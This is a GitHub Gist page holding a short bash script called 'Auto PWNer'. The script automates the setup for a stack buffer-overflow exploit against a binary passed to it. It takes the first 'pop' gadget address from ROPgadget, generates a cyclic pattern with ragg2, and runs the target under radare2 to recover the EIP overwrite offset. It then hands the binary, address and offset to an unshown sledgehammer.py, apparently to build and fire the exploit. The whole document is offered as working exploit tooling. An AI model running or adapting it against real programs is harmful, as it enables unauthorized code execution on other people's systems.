Created
May 15, 2020 15:36
-
-
Save chriskout/2ceb015fce357478611b144a9b060709 to your computer and use it in GitHub Desktop.
Auto PWNer script
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
line=$(ROPgadget --binary $1 | grep -x '.\{26\}' | grep -m 1 'pop') | |
echo $line | |
address=${line:0:10} | |
echo $address | |
ragg2 -P 200 -r > pattern.txt | |
echo "!/usr/bin/rarun2" > profile.rr2 | |
echo "stdin=./pattern.txt" >> profile.rr2 | |
exec 3>&1 1>r2log | |
r2 -r profile.rr2 -d $1 << EOF | |
dc | |
wopO \`dr eip\` | |
EOF | |
exec 1>&3 3>&- | |
cat r2log | tail -2 > offsetfile | |
head -1 offsetfile > r2log | |
offset=$(tail -c 4 r2log) | |
python3 sledgehammer.py $1 $address $offset |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment